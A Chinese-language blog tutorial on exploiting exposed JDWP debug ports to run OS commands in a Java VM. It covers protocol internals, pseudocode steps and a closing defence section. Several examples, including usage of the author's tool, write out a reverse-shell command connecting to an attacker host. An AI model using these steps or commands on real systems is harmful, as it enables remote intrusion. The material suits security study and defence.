JDWP 注入攻击详解

JDWP 注入攻击详解

1. 什么是 JDWP

JDWP(Java Debug Wire Protocol)是 Java 平台调试体系(JPDA)的底层通信协议,定义了调试器(Debugger)和被调试 JVM(Debuggee)之间的二进制通信格式。

JPDA 三层架构:

复制代码
┌──────────────┐
│   JDI         │  ← Java Debug Interface(高层 Java API)
├──────────────┤
│   JDWP        │  ← Java Debug Wire Protocol(二进制传输协议)
├──────────────┤
│   JVMTI       │  ← JVM Tool Interface(JVM 内部接口)
└──────────────┘

当 JVM 以调试模式启动时,它会监听一个 TCP 端口(或使用共享内存),等待调试器连接。任何能建立 TCP 连接的客户端都可以通过 JDWP 协议与 JVM 交互------协议本身没有任何认证机制

启动调试模式的 JVM 参数

bash 复制代码
# JDK 5-8
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar app.jar

# JDK 9+(默认仅监听 localhost)
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar app.jar

关键参数说明:

参数 说明
transport=dt_socket 使用 TCP socket 传输
server=y JVM 作为服务端等待连接
suspend=n 启动后不暂停,继续运行
address=5005 监听端口

2. 攻击面分析

2.1 为什么 JDWP 暴露是高危的

  1. 零认证:JDWP 协议没有用户名/密码、Token、证书等任何认证机制
  2. 完全控制:连接后可以执行任意 Java 代码,等同于获得 JVM 进程的完全控制权
  3. 跨平台:只要 JVM 支持 JDWP,攻击方法在 Windows/Linux/macOS 上通用
  4. 常见暴露场景
    • 开发/测试环境忘记关闭调试端口
    • 容器化部署时调试参数被打包进镜像
    • 运维排查问题后忘记移除调试参数

2.2 发现 JDWP 服务

JDWP 服务可以通过简单的端口扫描发现。握手字符串 JDWP-Handshake 是固定的,可作为指纹:

bash 复制代码
# 使用 nmap 扫描
nmap -sV -p 5005,8000,8787 target_host

# 手动验证
echo "JDWP-Handshake" | nc -w 3 target_host 5005
# 如果返回 "JDWP-Handshake",说明是 JDWP 服务

常见的 JDWP 默认端口:5005800087875050


3. JDWP 协议基础

3.1 握手

JDWP 通信以一个固定的握手开始------双方互发 ASCII 字符串 JDWP-Handshake(14 字节):

复制代码
Client → Server: JDWP-Handshake
Server → Client: JDWP-Handshake

握手成功后进入命令/回复模式。

3.2 数据包格式

JDWP 使用大端序(Big-Endian)的二进制协议。有两种数据包:

命令包(Command Packet)------调试器发给 JVM 或 JVM 主动发送事件:

复制代码
┌─────────┬─────────┬───────┬─────────┬─────┬──────┐
│ length  │   id    │ flags │ cmdSet  │ cmd │ data │
│  4字节   │  4字节   │ 1字节  │  1字节   │ 1字节 │ 可变  │
└─────────┴─────────┴───────┴─────────┴─────┴──────┘

回复包(Reply Packet)------JVM 对命令的响应:

复制代码
┌─────────┬─────────┬───────┬───────────┬──────┐
│ length  │   id    │ flags │ errorCode │ data │
│  4字节   │  4字节   │ 0x80  │   2字节    │ 可变  │
└─────────┴─────────┴───────┴───────────┴──────┘
  • length:整个包的总长度(含自身的 4 字节)
  • id:包标识符,回复包的 id 与对应命令包相同
  • flags:0x00 表示命令包,0x80 表示回复包
  • errorCode:0 表示成功,非零表示错误码

3.3 核心命令集

JDWP 定义了多个命令集(Command Set),注入攻击主要用到以下命令:

命令集 编号 命令 编号 作用
VirtualMachine 1 IDSizes 7 获取协议中各种 ID 的字节大小
VirtualMachine 1 Suspend 8 挂起所有线程
VirtualMachine 1 Resume 9 恢复所有线程
VirtualMachine 1 CreateString 11 在 JVM 堆中创建字符串对象
VirtualMachine 1 ClassesBySignature 2 按签名查找类
ReferenceType 2 Methods 5 获取类的方法列表
ClassType 3 InvokeMethod 3 调用静态方法
ArrayType 4 NewInstance 1 创建数组实例(用于构造 String\[\])
ObjectReference 9 InvokeMethod 6 调用实例方法
StringReference 10 Value 1 读取字符串对象的内容
ThreadReference 11 Name 1 获取线程名
ThreadReference 11 Status 4 获取线程状态
ThreadReference 11 Frames 6 获取线程栈帧(断点方案使用)
ThreadReference 11 Interrupt 11 中断线程(断点方案使用)
ArrayReference 13 Length 1 获取数组长度
ArrayReference 13 GetValues 2 读取数组元素
ArrayReference 13 SetValues 3 设置数组元素(填充 String\[\])
EventRequest 15 Set 1 注册事件
EventRequest 15 Clear 2 清除事件

3.4 ID 大小

JDWP 中的各种 ID(objectID、referenceTypeID、methodID 等)的字节大小不是固定的,取决于 JVM 实现。连接后必须先调用 VirtualMachine.IDSizes (1,7) 获取:

复制代码
响应:
  fieldIDSize        (4B) → 通常 8
  methodIDSize       (4B) → 通常 8
  objectIDSize       (4B) → 通常 8
  referenceTypeIDSize(4B) → 通常 8
  frameIDSize        (4B) → 通常 8

后续所有命令中涉及这些 ID 的编解码都必须使用正确的大小。

3.5 Tagged Value

JDWP 在很多场景使用 tagged-value 编码,即在值前面加一个类型标签字节:

复制代码
tagged-value = tag(1B) + value

常用 tag:
  'L' (76)  = 对象引用 → value = objectID
  's' (115) = 字符串引用 → value = objectID
  '[' (91)  = 数组引用 → value = objectID
  'I' (73)  = int → value = 4字节有符号整数
  'J' (74)  = long → value = 8字节有符号整数
  'B' (66)  = byte → value = 1字节
  'V' (86)  = void → 无 value

4. 注入原理详解

4.1 核心目标

在目标 JVM 中调用 Runtime.getRuntime().exec(String[]) 执行操作系统命令。

为什么使用 exec(String[]) 而非 exec(String)

Runtime.exec(String) 内部按空格拆分参数,无法正确处理带空格的参数。例如反弹 Shell 命令 bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" 会被错误拆分为多个参数,导致执行失败。

Runtime.exec(String[]) 接收参数数组,每个数组元素就是一个独立的参数,不会被二次拆分。通过 JDWP 构造 String[] 数组需要额外使用 ArrayType.NewInstanceArrayReference.SetValues 命令。

4.2 关键约束:事件挂起线程

JDWP 的 InvokeMethod 命令有一个严格要求:

目标线程必须处于「被事件挂起」(event-suspended)状态。

这意味着线程必须因为调试事件(断点、单步、异常)而被暂停。仅通过 VM.Suspend 命令挂起的线程不能 用于 InvokeMethod

这是注入攻击的核心难点。解决方案是主动制造一个调试事件来获取事件挂起的线程。

4.3 SINGLE_STEP 事件方案(主方案)

本方案的策略是利用 SINGLE_STEP(单步执行)事件:

复制代码
                          时间线
──────────────────────────────────────────────────────>

1. VM.Suspend         → 冻结所有线程
2. 枚举线程            → 找到一个在 Thread.sleep() 中的线程
3. EventRequest.Set   → 注册 SINGLE_STEP 事件到该线程
4. VM.Resume          → 恢复所有线程

               ... sleep() 倒计时中 ...

5. sleep() 到期        → 线程从 native 方法返回
6. 执行下一条字节码    → 触发 SINGLE_STEP 事件
7. JVM 自动挂起线程    → 通知调试器

8. 调试器收到事件      → 获得一个「事件挂起」的线程!
9. InvokeMethod        → 在该线程上调用 Runtime.exec(String[])

              如果 InvokeMethod 失败(Error 502)...

10. 自动降级           → 切换到断点方案,使用不同线程

为什么选择 SLEEPING 的线程?

  • Thread.sleep() 是 native 方法,JVM 在底层执行
  • sleep 有确定的到期时间,线程会自然醒来
  • 醒来后执行的第一条字节码指令会触发 SINGLE_STEP
  • 不需要干预目标程序的正常运行

4.4 断点方案(自动降级备选)

当 SINGLE_STEP 方案失败时(事件超时或目标线程有残留调试状态),脚本自动切换到断点方案:

  1. 挂起 VM,遍历所有非系统线程的栈帧
  2. 找到一个非 native 的字节码位置(index != 0xFFFFFFFFFFFFFFFF
  3. 在该位置设置断点(EventRequest.SeteventKind=BREAKPOINT
  4. 恢复 VM,中断线程(Thread.interrupt()),使其从 native 等待中返回
  5. 线程返回后命中断点,进入事件挂起状态
  6. 如果 InvokeMethod 仍因 Error 502 失败,跳过该线程,尝试下一个

注意interrupt() 会使线程抛出 InterruptedException。如果目标应用捕获该异常后退出,可能会导致服务中断。在 Spring Boot/Tomcat 应用中,Catalina-utility 线程通常是安全的断点目标。


5. 攻击步骤详解

Step 1: 连接与握手

python 复制代码
sock.connect((host, port))
sock.sendall(b"JDWP-Handshake")
resp = sock.recv(14)  # 应该收到 "JDWP-Handshake"

Step 2: 获取 ID 大小

python 复制代码
# 发送 IDSizes 命令 (1, 7)
# 解析响应获取各 ID 的字节大小
# 后续所有命令都依赖这些大小

Step 3: 挂起 VM 并枚举线程

python 复制代码
# VM.Suspend (1, 8) → 冻结所有线程
# VM.AllThreads (1, 4) → 获取线程 ID 列表
# 对每个线程:
#   ThreadReference.Name (11, 1) → 获取线程名
#   ThreadReference.Status (11, 4) → 获取线程状态

线程选择策略(多轮遍历,按优先级):

  1. SLEEPING 线程 优先------必然会自然醒来(如 Tomcat 的 container-0
  2. WAIT 线程 次之------可能需要外部唤醒(如 Catalina-utilityhttp-nio-exec
  3. RUNNING 线程最后------可能在 native 代码中
  4. 过滤系统线程 ------维护黑名单,跳过 Reference HandlerFinalizerSignal DispatcherCommon-CleanerDestroyJavaVMAttach ListenerNotification Thread 等 JVM 内部线程
  5. 每级内部优先选名称含 "main" 的线程------简单应用的主循环通常在 main 线程

Step 4: 设置 SINGLE_STEP 事件

python 复制代码
# EventRequest.Set (15, 1)
# eventKind = SINGLE_STEP (1)
# suspendPolicy = EVENT_THREAD (1)  → 仅挂起触发线程
# modifiers:
#   modKind = Step (10)
#   threadID = 目标线程
#   size = STEP_MIN (0)    → 最小步进
#   depth = STEP_INTO (0)  → 步入方法

Step 5: 恢复 VM 并等待事件

python 复制代码
# VM.Resume (1, 9)
# 等待 JVM 发来事件包...
# 事件包格式:
#   suspendPolicy(1B) + eventCount(4B) +
#   [eventKind(1B) + requestID(4B) + threadID + location]

Step 6: 清除事件并执行命令

关键:必须在 InvokeMethod 之前清除事件请求!

如果不清除,每次 InvokeMethod 内部恢复线程执行方法时,都会触发新的 SINGLE_STEP 事件,导致线程挂起计数叠加,最终 InvokeMethod 超时。

python 复制代码
# EventRequest.Clear (15, 2) → 清除 SINGLE_STEP 事件

# 查找 Runtime 类
# ClassesBySignature (1, 2) → "Ljava/lang/Runtime;"
# Methods (2, 5) → 找到 getRuntime() 和 exec(String[])

# 调用 Runtime.getRuntime()
# ClassType.InvokeMethod (3, 3) → 静态方法调用
# 返回 Runtime 单例对象

# 构造 String[] 参数数组(在 getRuntime() 成功后再创建)
# ClassesBySignature (1, 2) → "[Ljava/lang/String;" 获取数组类型
# ArrayType.NewInstance (4, 1) → 创建空 String[] 数组
# CreateString (1, 11) × N → 为每个参数创建字符串对象
# ArrayReference.SetValues (13, 3) → 将字符串填充到数组中

# 调用 runtime.exec(String[])
# ObjectReference.InvokeMethod (9, 6) → 实例方法调用
# 参数: tagged-array 格式的 String[] 引用
# 返回 Process 对象

为什么在 getRuntime() 之后才创建 String\[\] 参数?

ArrayType.NewInstance / SetValues 等操作会改变 JVM 内部状态。将这些操作放在两次 InvokeMethod 之间,避免在首次 invoke 前引入状态变化。

Step 7: 读取命令输出

python 复制代码
# process.waitFor() → 等待命令执行完毕,获取退出码
# process.getInputStream() → 获取标准输出流

# 方案A: 批量读取(Java 9+,推荐,自动首选)
# inputStream.readAllBytes() → 返回 byte[] 对象
# ArrayReference.Length (13, 1) → 获取数组长度
# ArrayReference.GetValues (13, 2) → 一次性读取所有字节
# 仅需 3 次 JDWP 往返

# 方案B: 逐字节读取(自动降级方案)
# inputStream.available() → 获取可读字节数,避免在空流上阻塞
# 循环调用 inputStream.read() → 每次返回一个字节
# 每 256 字节检查一次 available(),及时停止
# 需要 N 次 JDWP 往返(N = 输出字节数)

异常处理 :InvokeMethod 返回的异常不再只是一个 objectID,脚本通过调用 Throwable.toString()(使用 StringReference.Value 读取字符串内容)获取可读的异常描述信息。


6. 实战中的关键问题与解决方案

6.1 Native 方法不能设断点

问题Thread.sleep() 是 native 方法,没有字节码,设置断点会报 INVALID_LOCATION (Error 24)。

解决:使用 SINGLE_STEP 事件代替断点。SINGLE_STEP 在 native 方法返回后的第一条字节码指令处触发。

6.2 VM.Suspend vs 事件挂起

问题 :直接用 VM.Suspend 挂起的线程不能用于 InvokeMethod,调用会报错或超时。

解决:必须通过调试事件(断点/单步/异常)获取线程。这是 JDWP 协议的设计限制。

6.3 挂起计数叠加

问题:如果事件请求没有清除,InvokeMethod 执行期间会触发新的事件,线程的挂起计数 (suspend count) 不断累加。当 InvokeMethod 完成后尝试恢复线程时,需要多次 resume 才能真正恢复,导致超时。

解决 :收到第一个事件后立即清除事件请求,然后再调用 InvokeMethod。

6.4 线程选择------系统线程的陷阱

问题 :JVM 内部系统线程(如 Reference HandlerFinalizer)可能在 native 代码中运行,没有可步进的 Java 栈帧,设置 SINGLE_STEP 会返回 THREAD_NOT_SUSPENDED (Error 13)。

解决 :维护系统线程黑名单(Reference HandlerFinalizerSignal DispatcherCommon-CleanerDestroyJavaVMAttach ListenerNotification Thread),采用多轮遍历策略:先找 SLEEPING 线程,再找 WAIT 线程,最后 RUNNING 线程。每轮内部优先选非系统线程。在 Spring Boot/Tomcat 应用中,SLEEPING 的 container-0(ContainerBackgroundProcessor,约 10 秒 sleep 周期)是首选,Catalina-utility 是可靠的断点备选。

6.5 Sleep 时间差异

问题 :不同应用的 sleep 周期不同。简单测试程序可能是 1 秒,Tomcat 的 ContainerBackgroundProcessor 默认 10 秒。如果等待超时设置太短,会错过事件。

解决:将事件等待超时设置为 15 秒以上,覆盖大多数应用场景。

6.6 INVOKE_SINGLE_THREADED 的陷阱

问题 :InvokeMethod 的 options 参数有 INVOKE_SINGLE_THREADED(0x01)选项,表示只恢复目标线程执行方法。在某些 JDK 版本中,这会导致内部锁等待,方法调用永远无法完成。

解决 :使用 options=0(恢复所有线程),让 JVM 内部的锁竞争自然解决。

6.7 InvokeMethod 返回值中的异常字段

问题 :InvokeMethod 的响应中,异常字段是 tagged-objectID 格式(1 字节 tag + objectID),而不是裸 objectID。如果漏掉 tag 字节,解析会偏移,把正常的返回值误判为异常。

解决:解析时先跳过 1 字节的 tag,再读取 objectID:

python 复制代码
offset += 1        # 跳过 tag 字节
exc_id = parse_id(objectIDSize, resp, offset)

6.8 CreateString 的命令号混淆

问题 :JDWP 命令集 1 (VirtualMachine) 中有很多命令,CreateString 的正确编号是 (1, 11) ,容易和 DisposeObjects (1, 14) 等混淆。

解决:严格对照 JDWP 规范文档,逐一核对命令编号。

6.9 ALREADY_INVOKING (Error 502)

问题 :如果前一次调试连接在 InvokeMethod 执行过程中断开(网络中断、脚本崩溃等),JVM 可能不会清理目标线程的 invoke_in_progress 标志。后续连接在同一线程上调用 InvokeMethod 时,JVM 返回 Error 502(ALREADY_INVOKING),认为该线程已有活跃的 invoke 操作。此错误在长时间运行的 JVM(如生产环境的 Spring Boot 应用)上尤为常见。

解决

  1. 检测到 Error 502 后,自动放弃当前线程
  2. 切换到断点方案,在另一个线程上获取事件挂起状态
  3. 如果新线程也返回 502,继续尝试下一个线程
  4. 如果所有线程均失败,需要重启 JVM 来清除残留状态
python 复制代码
# 伪代码
try:
    invoke_static(getRuntime, thread_id=step_thread)
except ALREADY_INVOKING:
    resume_vm()
    # 使用断点方案在不同线程上重试
    breakpoint_approach(skip_threads={step_thread})

6.10 回复包 ID 不匹配

问题:JDWP 协议中,事件包(JVM 主动推送)和回复包(对命令的响应)混合到达。如果没有正确区分,可能把事件包的数据当作命令的回复来解析,导致后续所有操作偏移出错。

解决

  1. 发送命令时记录 packet ID
  2. 接收回复时校验 packet ID 是否匹配
  3. 收到的非回复包(flags ≠ 0x80)暂存到事件队列,不与命令回复混淆
python 复制代码
sent_id = send_command(cmd)
pkt_id, error, data = recv_reply()
if pkt_id != sent_id:
    raise Exception(f"Reply ID mismatch: sent={sent_id}, got={pkt_id}")

6.11 exec(String) 参数拆分问题

问题Runtime.exec(String) 内部按空格拆分参数。命令 bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" 会被拆分为多个参数:["bash", "-c", "\"bash", "-i", ">&", ...],导致执行失败。

解决 :使用 Runtime.exec(String[]) 方法,通过 JDWP 在 JVM 中构造 String[] 数组:

python 复制代码
# 1. 查找 String[] 数组类型
ClassesBySignature("[Ljava/lang/String;") → arr_type_id

# 2. 创建空数组
ArrayType.NewInstance(arr_type_id, len) → arr_id

# 3. 为每个参数创建字符串对象
CreateString("bash") → str_id_0
CreateString("-c") → str_id_1
CreateString("bash -i >& /dev/tcp/...") → str_id_2  # 完整保留,不拆分

# 4. 填充数组
ArrayReference.SetValues(arr_id, 0, count, [str_id_0, str_id_1, str_id_2])

# 5. 调用 exec(String[]),传入 tagged-array 格式参数
InvokeMethod(runtime_obj, exec_method, args=[TAG_ARRAY + arr_id])

7. 完整攻击流程图

复制代码
┌─────────────────────────────────────────────────────────────┐
│                        攻击者 (Python Client)                │
└───────────────────────────┬─────────────────────────────────┘
                            │
                    1. TCP Connect
                    2. "JDWP-Handshake" ↔ "JDWP-Handshake"
                            │
                    3. IDSizes (1,7)
                            │
                    4. VM.Suspend (1,8)
                    5. AllThreads (1,4)
                    6. ThreadName/Status → 多轮选择:
                       SLEEPING > WAIT > RUNNING (过滤系统线程)
                            │
                    7. EventRequest.Set (15,1)
                       → SINGLE_STEP on selected thread
                            │
                    8. VM.Resume (1,9)
                            │
                       ┌────┴────┐
                       │ 等待... │  ← sleep() 倒计时 (最长 15 秒)
                       └────┬────┘
                            │
                    9. ← 收到 SINGLE_STEP 事件
                   10. EventRequest.Clear (15,2)
                            │
                   11. ClassesBySignature → "Ljava/lang/Runtime;"
                   12. Methods → getRuntime(), exec(String[])
                            │
                   13. InvokeStatic → Runtime.getRuntime()
                            │
                       ┌────┴────┐  如果 Error 502
                       │ 降级?   │→ 切换到断点方案 + 不同线程
                       └────┬────┘
                            │
                   14. ClassesBySignature → "[Ljava/lang/String;"
                   15. ArrayType.NewInstance → 创建 String[]
                   16. CreateString × N → 创建每个参数字符串
                   17. ArrayReference.SetValues → 填充数组
                            │
                   18. InvokeMethod → runtime.exec(String[])
                            │
                   19. InvokeMethod → process.waitFor()
                   20. InvokeMethod → process.getInputStream()
                   21. InvokeMethod → inputStream.readAllBytes()
                   22. ArrayReference.GetValues → 读取 byte[] 内容
                            │
                   23. VM.Resume (1,9)
                   24. 断开连接
                            │
                      ┌─────┴─────┐
                      │ 输出结果   │
                      │ mac        │
                      └───────────┘

8. 防御建议

8.1 禁止在生产环境开启 JDWP

最根本的防御措施。检查 JVM 启动参数中是否包含 -agentlib:jdwp-Xdebug

bash 复制代码
# 检查正在运行的 Java 进程
ps aux | grep java | grep -E '(jdwp|Xdebug)'

# 或通过 /proc 检查
cat /proc/<pid>/cmdline | tr '\0' ' ' | grep jdwp

8.2 限制监听地址

JDK 9+ 默认 JDWP 仅监听 localhost,但 JDK 8 及更早版本默认监听所有接口。如果必须开启调试:

bash 复制代码
# 仅监听 localhost
-agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:5005

8.3 网络层隔离

  • 使用防火墙规则限制调试端口的访问
  • 在容器环境中不暴露调试端口
  • 使用 SSH 隧道进行远程调试
bash 复制代码
# 通过 SSH 隧道安全调试
ssh -L 5005:localhost:5005 user@remote_host

8.4 安全扫描

定期扫描网络中暴露的 JDWP 服务:

bash 复制代码
nmap -p 5005,8000,8787 --script=jdwp-info <target_range>

8.5 容器安全

dockerfile 复制代码
# 不要在 Dockerfile 中硬编码调试参数
# 错误示例:
ENV JAVA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005"

# 正确做法: 调试参数通过环境变量注入,且默认关闭
ENV JAVA_OPTS=""

8.6 运行时检测

监控异常的 JDWP 连接行为:

  • JVM 进程突然收到调试器连接
  • 短时间内大量 InvokeMethod 调用
  • 通过 Runtime.exec() 产生的子进程

9. 相关工具

工具 说明
jdb JDK 自带的命令行调试器
jdwp-shellifier 开源 JDWP 漏洞利用工具(仅支持 exec(String)
nmap jdwp-info Nmap 的 JDWP 服务探测脚本
本文脚本 jdwp_exec.py 基于 Python 的 JDWP 命令执行工具,支持 exec(String[])

jdwp_exec.py 相比其他工具的改进:

  • exec(String[]) 参数传递:通过 JDWP 构造 String\[\] 数组,正确处理带空格的参数(如反弹 Shell 命令)
  • 双方案自动降级:SINGLE_STEP → 断点方案,Error 502 自动切换线程
  • 批量输出读取:readAllBytes + ArrayReference.GetValues(Java 9+),降级到逐字节读取
  • 异常消息解析:通过 Throwable.toString() 显示可读的异常描述
  • 回复包 ID 校验:防止事件包/回复包混淆导致的解析错误
  • 类/方法缓存:避免重复的 ClassesBySignature 和 Methods 查询

10. 总结

JDWP 注入的本质是利用 Java 调试协议的设计特性------无认证 + 任意方法调用------来实现远程代码执行。攻击的核心难点在于获取一个「事件挂起」状态的线程,这需要理解 JDWP 的事件机制和线程挂起模型。

关键要点:

  1. JDWP 无认证,连接即可完全控制 JVM
  2. InvokeMethod 需要事件挂起的线程,不能用 VM.Suspend
  3. SINGLE_STEP 事件是获取事件挂起线程的首选方式,失败时自动降级到断点方案
  4. 线程选择很关键------多轮遍历(SLEEPING > WAIT > RUNNING),维护系统线程黑名单
  5. 事件请求必须及时清除,否则挂起计数叠加导致超时
  6. 使用 exec(String[]) 而非 exec(String)------正确处理带空格的参数,支持反弹 Shell 等复杂命令
  7. Error 502 (ALREADY_INVOKING) 是长时间运行 JVM 的常见问题,需自动切换线程重试
  8. 批量读取(readAllBytes + ArrayReference)比逐字节读取快几个数量级
  9. 回复包 ID 校验防止事件包/回复包混淆
  10. 最有效的防御是不在生产环境开启 JDWP

用法示例:

bash 复制代码
# 简单命令
python3 jdwp_exec.py 127.0.0.1 5005 id

# 带参数命令
python3 jdwp_exec.py 127.0.0.1 5005 ls -al /tmp

# 反弹 Shell(参数包含空格和特殊字符,exec(String[]) 正确处理)
python3 jdwp_exec.py 目标IP 5005 /bin/bash -c "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"
相关推荐
小白跃升坊7 小时前
Codex 增强部署:基于 Codex++ 接入 DeepSeek
ai·ai编程·codex·deepseek·ai coding·codex++
AlfredZhao8 小时前
GPT 省钱,不是别用最新模型,而是别浪费缓存
gpt·ai
doiito11 小时前
【Agent Harness】Gliding Horse 本体论系统设计:给 AI Agent 装上“语义大脑”
ai·rust·架构设计·系统设计·ai agent
小七-七牛开发者17 小时前
周一上线 | SpaceX 收购 Cursor、支付宝进入 AI 时代、DeepSeek 完成 500 亿元融资
ai·agent·token·glm·智谱·claudecode·ai coding·周一上线
doiito1 天前
【Agent Harness】为什么我把 JSON‑LD “编译成 DAG” 后,整个 Agent 平台立刻聪明了
ai·rust·架构设计·系统设计·ai agent
xiezhr2 天前
折腾半小时,终于让AI 能直接帮我写飞书文档了
ai·飞书·ai agent·飞书cli·飞书文档
岳小哥AI2 天前
Claude Fable和Claude Mythos 5同时发布:注意力机制下愈加强大的AI大模型
ai·ai基础
Artech2 天前
[MAF预定义的AIContextProvider-04]Mem0Provider——长期记忆基于的云端解决方案
ai·agent·maf·aicontextprovider·chathistorymemoryprovider·mem0provider
哥不是小萝莉2 天前
一文读懂 OpenAI Codex 源码的原理、架构与未来
ai
AlfredZhao2 天前
AI 编程工作总结:从体验问题到模块能力建设
ai·codex